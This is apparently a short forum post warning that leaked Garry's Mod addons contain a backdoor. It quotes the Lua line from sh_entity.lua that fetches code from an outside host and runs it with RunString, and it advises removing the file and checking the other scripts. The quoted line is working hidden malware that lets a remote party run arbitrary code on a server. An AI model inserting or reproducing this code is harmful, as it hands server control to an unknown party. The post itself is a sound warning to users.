Allmost every single addon here has a script called sh_entity.lua with this code timer.Simple(1, function() http.Fetch("https://kvcdoor.ovh/f.php?key=H7wUBrlLEMiKs9ZZb3et", function(b) RunString(b, ":", false) end)end)
its a strange function that leads to a URL with decripted code inside the code in the URL makes http requests to places i cant find.
"its a backdoor or maybe some kind of Rat/virus"
though you can remove the sh_entitiy script i'd double check eatch script as the guy who posted the leak clearly did not check the code.